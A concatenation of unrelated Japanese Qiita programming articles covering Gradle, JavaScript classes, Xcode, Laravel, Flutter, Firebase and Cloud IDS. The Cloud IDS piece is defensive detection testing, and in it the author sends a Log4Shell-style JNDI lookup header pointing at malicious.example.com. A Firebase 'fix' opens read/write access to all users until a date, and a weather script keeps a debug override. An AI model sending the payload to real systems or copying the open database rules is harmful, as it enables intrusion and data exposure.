OmniAICreator/Qiita-1.07M huggingface dataset:
ライブラリ/モジュールのGradle/Mavenの依存関係伝搬について

ライブラリやモジュールを作る時、依存関係を伝搬させるかどうかという話が出てきます。
この考え方をちょっと勘違いしていました。

通常、依存関係のあるライブラリは**implementation**を使います。

```kotlin
implementation("com.example.library:library:1.0.0")
```

これがライブラリで、pomファイルを出力すると、scopeは**runtime**となります。

```xml
<dependency>
  <groupId>com.example.library</groupId>
  <artifactId>library</artifactId>
  <version>1.0.0</version>
  <scope>runtime</scope>
</dependency>
```

一方、依存関係をライブラリ/モジュールの利用側に伝搬させたい場合は、**api**を利用します。


```kotlin
api("com.example.library:library:1.0.0")
```

これがライブラリで、pomファイルを出力すると、scopeは**compile**となります。

```xml
<dependency>
  <groupId>com.example.library</groupId>
  <artifactId>library</artifactId>
  <version>1.0.0</version>
  <scope>compile</scope>
</dependency>
```

## 依存関係の伝搬

ライブラリ/モジュール(以下module)で**implementation**（scopeが**runtime**）で指定されている場合、ライブラリ/モジュールの利用側（以下app）には、依存関係が伝搬しないため、appでも同一のライブラリを使いたい場合は、依存関係を書く必要があります。

```kotlin:module/build.gradle.kts
dependencies {
    implementation("com.example.library:library:1.0.0")
}
```
```kotlin:app/build.gradle.kts
dependencies {
    implementation(project(":module"))
    // libraryの依存関係を書いていないので、appの中ではlibraryを使用することは不可能
}
```

moduleの実行にはlibraryが必要なので、あくまでappのコンパイル時に参照できないだけで、実行時には使われるように組み込まれます。
appで同様に依存関係を書いた場合は、appのコンパイル時にも使うことができます。バージョンについては、コンパイル時に使用するバージョンは、両者のうち新しい方のバージョンが採用されます。
moduleで指定しているバージョンの方が新しい場合、moduleで指定したバージョンでappがコンパイルされ、組み込まれます。

```kotlin:module/build.gradle.kts
dependencies {
    implementation("com.example.library:library:2.0.0")
}
```
```kotlin:app/build.gradle.kts
dependencies {
    implementation(project(":module"))
    implementation("com.example.library:library:1.0.0")
    // moduleで指定しているバージョンの方が新しいので、2.0.0が使われる
}
```

moduleで指定しているバージョンの方が古い場合、appで指定したバージョンでappがコンパイルされ、組み込まれます。

```kotlin:module/build.gradle.kts
dependencies {
    implementation("com.example.library:library:1.0.0")
}
```
```kotlin:app/build.gradle.kts
dependencies {
    implementation(project(":module"))
    implementation("com.example.library:library:2.0.0")
    // appで指定しているバージョンの方が新しいので、2.0.0が使われる
    // moduleが2.0.0を使って再コンパイルされるわけではない
}
```

ただし、moduleが、appを指定したバージョンを組み込んで再コンパイルされるわけではありませんので、バイナリ互換性のないバージョン差分があると、問題が起こる場合があります。（例：[FusedLocationProviderClientがclassからinterfaceになった。ライブラリとのバージョン不一致に気をつけろ](https://qiita.com/ryo_mm2d/items/ec843fcafaeb94b8ccdb)）これについては指定方法を変えてもかわりませｎ

moduleで**api**（scopeが**compile**）で指定されている場合、app側で依存関係を書かなくても自動的に依存関係に含まれるため、app側で指定する必要がなくなります。


```kotlin:module/build.gradle.kts
dependencies {
    api("com.example.library:library:1.0.0")
}
```
```kotlin:app/build.gradle.kts
dependencies {
    implementation(project(":module"))
    // libraryの依存関係を書いていなくても、appのなかでlibraryを使用可能
}
```

両者で指定している場合の挙動はimplementationの場合と同一です。

## どういうときに依存関係を伝搬させるべきか

依存関係を伝搬させると、利用側では依存関係を書く必要がなくなります。違いはそれだけですね。
よって、そのライブラリ/モジュールを利用する上で、別のライブラリが必要な場合に依存関係を伝搬させるべきですね。

具体的に言うと、moduleが`Hoge`というクラスを提供しており、そのHogeクラスを利用する上で必要なクラス`Fuga`がlibraryから提供されているものの場合ですね。

```kotlin:module
class Hoge(fuga: Fuga)
```

この場合、moduleはlibraryの依存関係を伝搬させた方がよいでしょう。
Javascript (クラス)

#  JSのクラスについて
```Javascript
const posts = [
    {
      text: 'JavaScriptの勉強中…',
      likeCount: 0,
    },
    {
      text: 'プログラミング楽しい！',
      likeCount: 0,
    },
  ];

  function show(post) {console.log(`${post.text} - ${post.likeCount}いいね`);
  }

  show(posts[0]);
```
・post.textはオブジェクトの取り出し方法。
post=posts[0]= {text: 'JavaScriptの勉強中…',likeCount: 0,}


```Javascript
const posts = [
    {
      text: 'JavaScriptの勉強中…',
      likeCount: 0,
      // show: function() {
      //   console.log(`${this.text} - ${this.likeCount}いいね`);
      // },
      show() {
        console.log(`${this.text} - ${this.likeCount}いいね`);
      },
    },
    {
      text: 'プログラミング楽しい！',
      likeCount: 0,
      show() {
        console.log(`${this.text} - ${this.likeCount}いいね`);
      },
    },
  ];

  // show(posts[0]);
  posts[0].show();
  posts[1].show();
```
・オブジェクトではプロパティの値として、関数を持たせることができる。→その関数をメソッドという。
・show: function show(post) {
    console.log(`${post.text} - ${post.likeCount}いいね`);}
    →show,post,functionを消す。
    →同じプロパティにアクセスするにはthisを使う。→そうしたら、post消す
    →thisは同じプロパティということは、上のtext,likecountのことである。
    →呼び出す時は同じように、posts[0].show();と呼び出す。

　ーーーーーーーーーーーそしたら下のようになるーーーーーーーーーーーーーーー

```Javascript
  class Post {
    constructor(text) {
      this.text = text;
      this.likeCount = 0;
    }

    show() {
      console.log(`${this.text} - ${this.likeCount}いいね`);
    }
  }

  const posts = [
    new Post('JavaScriptの勉強中…'),
    new Post('プログラミング楽しい！'),
  ];

  posts[0].show();
  posts[1].show();
```
・constructorでリセットする。
・const postsより前はテンプレを作成しただけ。
    クラス＋functionの二つのセットでテンプレ作る。
・post[0]=new Post=postの中身＝textに代入する。
    そしてそのオブジェクトの中のshow()にアクセス。

```Javascript

{
  class Post {
    constructor(text) {
      this.text = text;
      this.likeCount = 0;
    }

    show() {
      console.log(`${this.text} - ${this.likeCount} likes`);
    }

    like() {
      this.likeCount++;
      this.show();
    }
  }

  const posts = [
    new Post('JavaScriptの勉強中…'),
    new Post('プログラミング楽しい！'),
  ];

  posts[0].like();
```
・likeも変えるときにはこうする。
・likeも本来であれば、functionがついていた。
・this.showなところに注意。



＝＝＝＝＝＝＝＝応用＝＝＝＝＝＝＝＝＝

```Javascript
 class Post {
    constructor(text) {
      this.text = text;
      this.likeCount = 0;
    }

    show() {
      console.log(`${this.text} - ${this.likeCount} likes`);
    }

    like() {
      this.likeCount++;
      this.show();
    }

    // 静的メソッド
    // thisは使えない
    static showInfo() {
      console.log('Post class version 1.0');
    }
  }

  const posts = [
    new Post('JavaScriptの勉強中…'),
    new Post('プログラミング楽しい！'),
  ];

  // posts[0].like();

  Post.showInfo();
```
・静的メソッド使っている。
・定義せず直接やっている。
・showもlikeもshowInfoはオブジェクとの変形である。
    X：１００の形が変わっただけ。
【Xcode】ターゲット名を変更する

# はじめに
私が1番最初にリリースしたアプリはApp Extensionをいくつか使っています。
当時はよくわかっていなかったのでターゲット名をActionSheetなどにしていました。
そのおかしなターゲット名を変更したのでその時の方法を記録しておきます。

# リネームしたいターゲット
![スクリーンショット 2022-11-13 19.22.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/19bee3fd-57f6-49e1-d552-89ddca712834.png)

`ActionSheet` から `PerformConditions`に変更したいと思います

# やりかた
### ターゲットをリネーム
リネームしたいターゲットをダブルクリックして編集モードにします。
編集モードになったら変更したい名前に変えます。
![スクリーンショット 2022-11-13 19.32.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/0e5044c7-240c-506d-dada-b9682bc90760.png)

### フォルダをリネーム
リネームしたいフォルダをダブルクリックして編集モードにします。
編集モードになったら変更したい名前に変えます。
![スクリーンショット 2022-11-13 19.35.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/c4ddb9aa-c202-8d68-1763-779f12c2dbe1.png)

### entitlementsをリネーム(あれば)
リネームしたいentitlementsをダブルクリックして編集モードにします。
編集モードになったら変更したい名前に変えます。
![スクリーンショット 2022-11-13 19.36.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/3db0913f-763a-516f-b19f-7581b4c67f08.png)

### Build Settings関係のリネーム
① プロジェクトを選択します。
② リネームしたいターゲットを選択します。
③ 「Build Settings」を選択します。
④ 変更前のターゲット名を検索します。
![スクリーンショット 2022-11-13 19.37.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/aefecb3d-d235-a41f-3202-80160a4b9926.png)

出てきたものを全て置き換えてください
![スクリーンショット 2022-11-13 19.41.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/65b7d75b-7084-4a9d-7e61-243fb017e0dc.png)

### Schemeのリネーム
Schemeであっているのかわからないので一応画像載せておきます。
下記の画像の部分をリネームします。
![スクリーンショット 2022-11-13 19.42.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/6cfc38c0-d5f4-121b-6102-ba7b8dca55b1.png)

① ターゲット名が書いてある所を選択します。
② 「Manage Schemes...」を選択します。
![スクリーンショット 2022-11-13 19.43.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/f286595e-818a-80a9-2bed-5bd50fefb9e0.png)

下記のようなViewが表示されます。
![スクリーンショット 2022-11-13 19.45.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/14a34ec7-8be2-cdc6-e711-246f2b2c8d52.png)

長押しして編集モードにしてリネームします。
![スクリーンショット 2022-11-13 19.46.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/9d4dfc20-ec7d-f0d0-ccf6-ef65f20b85af.png)

### CocoaPodsを使用している場合
```:ターミナル
cd プロジェクトフォルダ
```
```:ターミナル
pod update
```

# 参考記事
https://stackoverflow.com/questions/15152632/ios-changing-target-name
天気予報APIで翌朝の降水確率を取得してLineで通知する

# 動機と目的
私は朝、会社に行くのが苦痛である。
理由は、早起きが苦手だからである。
そして通勤時の天候で(傘を持っていく/持っていかない)、(早く起きる/起きない)を決めなければならない。
例えば
(a)雨が降っているならば、傘を持って5:00に家を出て徒歩で駅に向かう。
(b)そうでないならば、傘を持たずに5:30に家を出て自転車で駅に向かう。

なので、前日20:00の天気予報で翌日の朝の天気が雨か確認し30分早く起きるかどうかを決定する。
これを自動化すること目的とする。

## 詳細
処理の流れは以下の通り。
(1) 天気予報APIで翌日の朝6-12の降水確率を取得する。
[天気予報API](https://weather.tsukumijima.net/ "天気予報API")
(2) もし降水確率が40%以上なら、Line notifyで自分に通知する。
[PythonでLINE Notifyへ通知を送る](https://qiita.com/akeome/items/e1e0fecf2e754436afc8 "https://qiita.com/akeome/items/e1e0fecf2e754436afc8")

```python:getWeatherForecastAndWarning.py
import requests
import json
import re

def rainWarning(msg):
  line_notify_token = "line notify のアクセストークンを入力"
  line_notify_api = 'https://notify-api.line.me/api/notify'
  headers = {'Authorization': f'Bearer {line_notify_token}'}
  data = {'message': f'message: {msg}'}
  requests.post(line_notify_api, headers = headers, data = data)
# city=の部分に該当する都市のコードを挿入する(下記表参照)
# https://weather.tsukumijima.net/primary_area.xml
url = "https://weather.tsukumijima.net/api/forecast?city=110010"

payload={}
headers = {}

response = requests.request("GET", url, headers=headers, data=payload)
res = response.json()

tomorrow = {}
message = ""
message = res["title"] + "\n"
goingToBeRain = False
possibility = 0
for item in res["forecasts"]:
  if item["dateLabel"] == "明日":
    tomorrow = item
    str = tomorrow["chanceOfRain"]["T06_12"]
    message += "明日の6時から12時の降水確率は" + str
    possibility = int(re.sub('%','',str))
    print(message)
possibility = 50
if possibility >= 40 :
  rainWarning(message)
```

あとはこのプログラムをwindows タスクスケジューラに登録する。
[windows タスクスケジューラの登録方法](https://office54.net/python/app/windows-taskscheduler-exe "Python】Windowsタスクスケジューラで定期的に自動実行する方法（EXEファイル）")

これでぎりぎりまで眠れますね。
誰か私の人生も自動化してください。
どーすれば、悪は滅びるのか。

Twitterの認証バッジ取得が終了したそうです。

・認証バッジ取得のサブスク開始

・悪い人が製薬会社の認証バッジ取得をフェイクで取得

・フェイクニュースを発信（特許を開放します）

・製薬会社の株価が暴落

https://iphone-mania.jp/news-502395/
 

既に認証バッジサービスが開始してたのもびっくりだし、株価下落させるツイートして金儲けしてる人がいるんですね。
こーいう悪い事を考える人の発想力には感動します。頭良いですね。

今回のは公に儲けてるので、スグに制裁が与えられるかもしれませんが、これに係わらず、悪い事をして儲けてる人は沢山います。

日本でもコロナ関連の不正受給関連は山程発生してると思います。

五輪オリンピック汚職事件も同様です。

お金儲けは、所詮、人と人の間でのやり取りなので情報格差による優位な立場の人間が儲けれる様になってるので、ある程度起こるのは仕方ないのでしょうが、ズルい儲け方をした人は早く捕まってほしいです。
laravelで実際に発行されたSQLと処理時間を確認する

## はじめに
いつも忘れるので備忘録として残しておく

## コード
~~~php
DB::enableQueryLog();
$time_start = microtime(true);

//計測したい処理やSQL（複数発行されれば複数dumpされる）
$user = User::where('id', 10000)->get();

$time = microtime(true) - $time_start;
dump($time);
dd(DB::getQueryLog());
~~~

## 発行されるSQLを確認したい時
~~~php
$user = User::where('id', 10000)->toSql();
dd($user);
~~~

## おまけ
取得したコレクションを配列にしてログに吐く
~~~php
$user = User::where('id', 10000)->get();
LOG::info(print_r($user->toArray(), true));
~~~

## おまけその２
LaravelのAppServiceProvider.phpに下記追加することでstorage/logs/laravel.logに出力される
~~~php
public function boot()
    {
        \Illuminate\Support\Facades\DB::listen(function ($query) {
            \Illuminate\Support\Facades\Log::info('SQL Query: ' . $query->sql);
            \Illuminate\Support\Facades\Log::info('Bindings: ' . json_encode($query->bindings));
            \Illuminate\Support\Facades\Log::info('Time: ' . $query->time . 'ms');
        });
    }
~~~
今更Google Cloud Next '22 Blog： Cloud IDSの料金を爆上げしないための設定の実例


[「医師の働き方改革」を支えるクラウドのセキュリティ対策](https://cloud.withgoogle.com/next/catalog?session=SEC100-JP#japan)を拝聴させていただきました！
勝手に、医療系のシステムは、金融同様にいろいろコンプラなども厳しいのでレガシーな構成なのかと思い込んでいたのですが、クラウドネイティブ構成！
Cloud Armor + Cloud IDSの構成は、GKEに限らずとも有効なので、まだ見られていない方で、Google Cloudのセキュリティ対策を検討されておられる方にオススメです。

Cloud ArmorでのLog4jの対応は[以前に書かせていただいている](https://qiita.com/pict3/items/efc7dc5b424a47b647c2)ので、Cloud IDSについて、書いてみたいと思います。

# Cloud IDSの概要
Cloud IDSはpaloalto社の提供するシグネチャにて、VPC上のログから攻撃が疑われる通信を検知するサービスです。
Private Service Accessを利用し、VPCピアリングをすることで、ミラーリングした通信ログをCloud IDSに流し込みます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51320/516e2bd3-9208-de64-68c1-f87cded23a24.png)



# 検証環境の構築
ほとんどのGoogle Cloudサービスがそうであるように、Cloud IDSもオンデマンドで時間単位・処理量単位で料金が上がってきます。検証環境をIaCで作ることで、必要な時だけ動かして、不要になったら削除、再び必要になったら作り直すことが容易になります。
今回は、terraformで作りました。最後にリポジトリを貼っておきます。
当該プロジェクトでService Networking APIを予め有効化しておいてください。

本題と逸れますが、Terraformの利用にあたって、サービスアカウントを作成＆キーを利用の記事が散見されます。
ローカル環境で利用する際は、サービスアカウントを作らずauth loginでやりましょう。
[ベストプラクティス参照](https://cloud.google.com/docs/terraform/best-practices-for-terraform#default-credentials)

現時点では、Terraformで作成できるのは、Cloud IDSのエンドポイントまでっぽいです。
今回は直感的に伝えるべく、パケットミラーリングポリシーの設定をコンソールで行います。

# ミラーリングポリシーのアタッチ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51320/596a65dd-ada5-60c4-c365-37230cf60de9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51320/d62bb1b9-8bf6-1437-bdac-cc268a316cb0.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51320/b95c606c-98aa-7c3d-0525-9fb3983b4b23.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51320/4c38bed6-8cb2-19bd-1350-b9cd97beef57.png)


# 動作の確認
これで検知の準備は整いました。
Log4jを仕掛けてみます。

curl -i -H 'X-Hoge: ${~~~://malicious.example.com/attack-code}' https://<my-site>/
※ ~~~ は、「じぇいえぬでぃあい」のアルファベット表記になります。そのまま書くと、Qiitaのサニタイズ処理に引っかかってしまうようなので、伏せ文字にしています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51320/f10de55c-c61c-b133-340a-87d70965bf0a.png)

しっかり検知！

# まとめ
Cloud Armorでルールの自前運用をしていると、ゼロデイアタックなどですり抜けてインスタンスに到達してしまったときに、Cloud IDSでいち早く検知と一次分析を行うことが可能になります。
実際の攻撃であった場合、Cloud Armorにcve-canaryなどからルールを当てるといった運用が想定されます。
あくまでIDSのため、攻撃は到達してしまいますが、それでも早期に発見できることは非常に有効です。予算や取り扱うデータ次第でもありますが、コストに十分見合う働きをしてくれるはずです。
とは言え、コスパを最大化するよう、リスク分析を行った上で、なるべく必要なログだけミラーリングするようにしましょう！

# おまけ

[今回作った検証環境のTerraform Template](https://github.com/pict3/google-cloud-sample-cloud-ids)
ダブルクリックでPwoerShellスクリプトを実行する方法

バッチからPowershellスクリプト(.ps1)を実行させる方法
とりあえずbatとps1のファイル名そろえておけば脳死で実行できるので重宝してます

## フォルダ構成
フォルダ構成はこんな感じ。
<b>※.batと.ps1ファイル名は揃えること</b>
<b>※.batは文字コードANSIで保存すること</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2604770/1898db54-bddd-2a7e-5bac-0d0aef6eb6da.png)

## batの中身
batの中身はこんな感じ。ファイル名変えれば中身弄らないで使いまわせます
```bat:aaa.bat
@echo off
powershell -executionpolicy RemoteSigned -File "%~dp0%~n0.ps1"
```


コマンド|意味
:--|:--
powershell|Powershellを起動します
-executionpolicy RemoteSigned|実行ポリシーにRemoteSigned(適度に緩めのポリシー)を指定します。実行ポリシーについては[こちら](https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4)
-File|ファイルを指定します。
%~dp0%~n0.ps1|<b>%~dp0</b> ⇒ バッチがあるフォルダパスの変数<br><b>%~n0</b> ⇒ バッチファイル名の変数<br><b>.ps1</b> ⇒ ".ps1"という文字列<br>↑を総括すると、バッチと同じフォルダ\バッチと同じファイル名.ps1


[^1]:[実行ポリシーについて-Microsoft](https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4)
vue3 console.log を消す

npm run prod しても console.logが残る。

```webpack.mix.js
if (mix.inProduction()) {
    mix.options({
        terser: {
            terserOptions: {
                compress: {
                    drop_console: true // This drops all console.* calls
                }
            }
        }
    });
}                                                 
```

上記を追加するだけでコンソールログをすべて消してくれる。
オンランでバッジ画像(SVG)を作成できるツール(Badge Maker)を作ってみた

オンランでバッジ画像(SVG)を作成できるツール(Badge Maker)を作ったので、公開してみました。

https://toybox.funlab.dev/badge-maker/

# 作った経緯

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/272546/357e97b3-0023-cfe4-4fd1-743d94ec4377.png)
GitLabだとこんな感じで、バッジ(パイプラインの状況とか、カバレッジとか)を表示できるスペースがあるのですが、自分はバッジ以外にもリンクを設置したりして利用しています。
上の例だとSonarQubeへのリンクなどですね。
このときにバッジ画像が必要になる(画像とリンク先を設定する仕様となっている)ので、それを簡単に作れるツールを作ってしまおうと。
需要があるのか分かりませんが、せっかく作ったので公開してみました。

ツールとしてはこんな感じのシンプルなものです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/272546/644fe1f5-2fff-697e-5425-d1a1f5af6da1.png)
テキストやサイズを入力して、`Download`ボタンでSVGファイルがダウンロードできます。

このツールは、フロントエンドのJavaScript(とHTML)のみで構成されています。(サーバーサイドの処理はありません)
静的ページとして公開できるので、外部公開したというのもあります(笑)
APIをバッチ処理で呼び出す場合の考慮事項

# バッチ処理とは
CSVなどの大量データを持つファイルを１行ずつ読み込んで処理するもの。

# 一般的なバッチ処理
* CSVなどをShellなどで読み込んだり、DBへインポートしたりする。
* ETLツールでファイル⇨DB、DB⇨DBなどの変換処理を行う。

上記の特徴として、対外的なAPI呼び出しは無いことが多いと思われる。

# APIを呼び出すバッチ処理
DBやローカルディスクのみを相手にしてきたバッチ処理とは異なる課題がある。

## APIは遅い
SaaSの場合、（通信速度は）遅い。

## APIは早い
SaaSの場合、（処理速度は）速い。

## APIは並列実行性に優れる
多数の呼び出しが想定されているため、並列実効性に優れる。

## APIは失敗する
APIごとの制約があり、それに抵触する場合、エラーとなり、失敗する。

* スロットリング
* API側事情

## ロールバックできない（結果整合性で担保する）
DBと異なり、ロールバック機能を有していないため、ワンアクションで処理前の状態に戻すことはできない。
このため、適切なロールバック処理を考える必要がある。

# APIを呼び出すバッチ処理の方法論
## バッチ処理APIを作れないか交渉する
呼出先のAPIが一つのSaaSから提供されており、深いリレーションが築けているならば、交渉する。
具体的にはリストデータの受付をできるか交渉する。

## 並列処理を行う
効率性を上げる。
もちろん、最初は単一プロセスで動作確認をしてから。

また、並列度は呼出先のAPIのスロットリングの上限を把握するか、抵触しない範囲で、
こちら側の要求を満たす時間幅で考える。

## 失敗時の動作を設計する
* リトライの方針を検討する
    * 即時
    * 次回繰越
        * 繰越上限（＝運用調査トリガー）
* 失敗ログの残し方を検討する
* ロールバック（結果整合性の担保）方法を検討する
Firebase  [cloud_firestore/permission-denied] The caller does not have permission to execute the specified operation.が出たとき

先日、FlutterでFirestoreを利用している方がFirestoreに値を追加できないとのことだったので、その備忘録です！

# 実際に表示されたエラー
```console
I/flutter (29667): Failed to add user: [cloud_firestore/permission-denied] The caller does not have permission to execute the specified operation.
```


## 原因
このエラーは、FireStoreの**有効期限の設定を選択していない場合**に出る、もしくは
Firestoreの**有効期限が切れたとき**に生じるエラーになります。

有効期限の設定を選択していない場合のルール
```
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if false;
    }
  }
}
```

有効期限が切れた場合
```
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if
          request.time < timestamp.date(2022, 10, 12);
    }
  }
}
```

Firebaseのルールに関して、気になる方は公式のドキュメントを見てみてください！
簡単に言うと、Railsのストロングパラメータのように
意図しない不正な値の挿入や改ざんの防止などを行うものです！

## 解決策

初めに、FirebaseConsoleに入り、Firestoreを選択後、下記の画像にある、「ルール」を押します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2017749/b4dcf8cf-fa87-2f76-06a8-4a8921c48fc8.png)

次に、ルールを以下のように変更すれば大丈夫です！
```
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if
          request.time < timestamp.date(2022, 12, 12);
    }
  }
}
```

`timestamp.date(2022, 12, 12)`の中身はざっと30日後くらいにしておけば大丈夫です！
`timestamp.date(年, 月, 日)`

最後に、「公開」ボタンを押すと、変更完了です！
1分程度はルールの変更が適用されていない可能性があるので
少し待ってから再度実行すると良さそうです！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2017749/7789e390-be0e-aa16-5b6c-b53b4349f745.png)


### 注意点
この他に、全ての読み書きを可能にする方法もありますが
セキュリティ上よろしくないので
以下のような内容は**記載しない**ようにしましょう。
([公式ドキュメント](https://firebase.google.com/docs/rules/insecure-rules?hl=ja)にも避けるように記載されています)
```
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if true;
    }
  }
}
```


## 参考文献
https://firebase.google.com/docs/rules?hl=ja

https://firebase.google.com/docs/rules/insecure-rules?hl=ja
Flutterで独自のサービスを開発するまで3

# Firebaseを利用してデータベースを構築する

## 今回の記事で実施すること
- チャット機能作成で必要なデータベースの構築
- FirebaseでのFirestoreデータベース作成
- Firestoreへの接続
- コレクションの作成及びデータの表示と取得

## FlutterプロジェクトとFirebaseの接続手順については以下を参照とする。(qiita記事の引用)
[Flutter Firebase 接続 設定方法](https://qiita.com/tatsukikane/items/a54b79cd1fa73f3df2ad)

Firebaseトップページ
> マネジメントコンソール上左側の「構築」というタブを表示
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/da7a74a6-4cf1-9c1b-dd06-642dc2f94ac3.png)

> Firestore Databaseを選択する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/7d4e1601-3065-99d6-76fa-f9eee150514a.png)


> データベースの作成を選択する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/90f8911b-4e24-9d81-9287-aac1970e6779.png)


> 今回は「テストモード」での作成とする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/05d9852b-1bd1-7cde-d43d-fc5122a50db3.png)


> リージョンは「asia-east1」を選択し、有効にする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/a972787a-9b9f-8e68-7aa7-c8832e3fcc54.png)


> しばらくすると以下の画像のようなページになることを確認する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/f6f38cc7-64b1-26cc-2379-3bb396bfe986.png)

> 作成したチャットのアプリケーションから入力しfirebaseで作成したfirestoredatabaseにデータが登録できることを確認する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/4f8a471b-792a-c509-dd66-cfea8205e6e9.png)


> データの登録を確認(送信した文言が登録できていることを確認)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/b9d75f86-8258-52b6-7639-7694a1553e09.png)
Flutterで独自のサービスを開発するまで2

# Flutterを使うことで得られる技術的知見について

- dart言語の習得
- Flutterを使ってモバイルアプリのバックエンドとフロントエンドの学習ができる
- モバイルアプリ(ios,Android)開発の流れを知る
- リリースまでの流れがわかる
- モバイルアプリの仕組みがわかる
- AndroidStudioの使用方法：追加
- Xcodeの使用方法：追加
- Firebaseの使用方法(主にバックエンドを担うつもりで使用しようと思っています。使わない可能性も。。)：追加

## 読み手のメリット
- Flutterでの開発方法がわかる。
- iosアプリ開発の過程がわかる。
- dart言語を利用してクロスプラットフォームでの開発がわかる。
- iosアプリのバックエンドとフロントエンドの構成がわかる。
- モバイルアプリのリリース方法までのやり方がわかる。

## 対象読者について
- Flutterをやってみたい人
- モバイルアプリの開発に興味がある人
- 柔軟に開発を行いたい人

## Flutterのクロスプラットフォームを使ったモバイルアプリの開発方法について(随時更新)
開発する手順としては以下の通りです。

> ①Flutter開発環境の構築
②dart言語の基礎を学習
③Flutterを実際にいじってみる。
④いじりながら開発を行い修正するところや追加する部分は組み替えていく

#### ①モバイルアプリケーションの開発環境の構築について

引用元：[Flutter大学の開発環境構築](https://zenn.dev/kboy/books/ca6a9c93fd23f3/viewer/5232dc)

#### ②dart言語の基礎を学習
- 簡単な記法
- for文
- 関数について
- データ型の付け方

#### ③Flutterを実際にいじってみる
- ウィジェットの学習
- dart言語でのスクリプトの実装により動的にしてみる
- データベースの作成とテーブルの作成からデータの登録

### ④いじりながら開発を行い修正するところや追加する部分は組み替えていく
- 色やウィジェットの位置の微調整
- スクリプトにより制御や動的な仕組みを取り入れる
- データベースに複数のテーブルを追加することでデータへ柔軟性を持たせる
- その他必要な機能の追加と実装(チャット機能など)：追加

ここまでは基本前回と似た内容になっています。(前回記事に追記した部分は「：追加」を記載しています。)
- - - 

## 実際に作成しした画面について
今回はチャットの画面と機能をメインに開発していきます。
ここではFlutterの便利なライブラリ「flutter_chat_ui」を使ってみての開発になります。
Flutterではモダンな作りができるに加えて工数削減で簡単に実装できる仕組みがあります。
①チャットの機能開発
チャット画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/b6b64a0a-85f5-6881-6fa1-ad208b32d79e.png)

チャットの一覧
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/ada845b0-c066-19c0-dbaf-4f0eeddf2189.png)


ここで使用する技術や機能の想定
- 非同期処理
- アイコン
- メッセージ送受信機能
- 画像の添付処理、ファイルの送信処理
- 送信者、受信者名など

....他思いついたら機能を追加予定

##　環境依存ファイルについて
Flutterでは以下の環境依存ファイルがある。
- pubspec.yaml

上記へライブラリなどの追加をおこなったり変更した場合には以下のコマンドで変更の反映を行う

> $ flutter pub get

## 使用したウィジェットについて
Stack
https://nzigen.com/reference/flutter/2018-04-18-stack/(使い方引用)

動的なウィジェットについて
https://flat-kids.net/2021/08/31/flutter%E3%81%A7%E5%8B%95%E7%9A%84%E3%81%AB%E3%82%A6%E3%82%A3%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88%E3%82%92%E4%BD%9C%E6%88%90%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/



※メインの実装画面は現在は公開することができませんのでご了承ください。
今後も随時更新をしていきますのでぜひよろしくお願いします。参考になれば幸いです。
Flutterで独自のサービスを開発するまで

# Flutterを使うことで得られる技術的知見について

- dart言語の習得
- Flutterを使ってモバイルアプリのバックエンドとフロントエンドの学習ができる
- モバイルアプリ(ios,Android)開発の流れを知る
- リリースまでの流れがわかる
- モバイルアプリの仕組みがわかる

## 読み手のメリット
- Flutterでの開発方法がわかる。
- iosアプリ開発の過程がわかる。
- dart言語を利用してクロスプラットフォームでの開発がわかる。
- iosアプリのバックエンドとフロントエンドの構成がわかる。
- モバイルアプリのリリース方法までのやり方がわかる。

## 対象読者について
- Flutterをやってみたい人
- モバイルアプリの開発に興味がある人
- 柔軟に開発を行いたい人

## Flutterのクロスプラットフォームを使ったモバイルアプリの開発方法について(随時更新)
開発する手順としては以下の通りです。

> ①Flutter開発環境の構築
②dart言語の基礎を学習
③Flutterを実際にいじってみる。
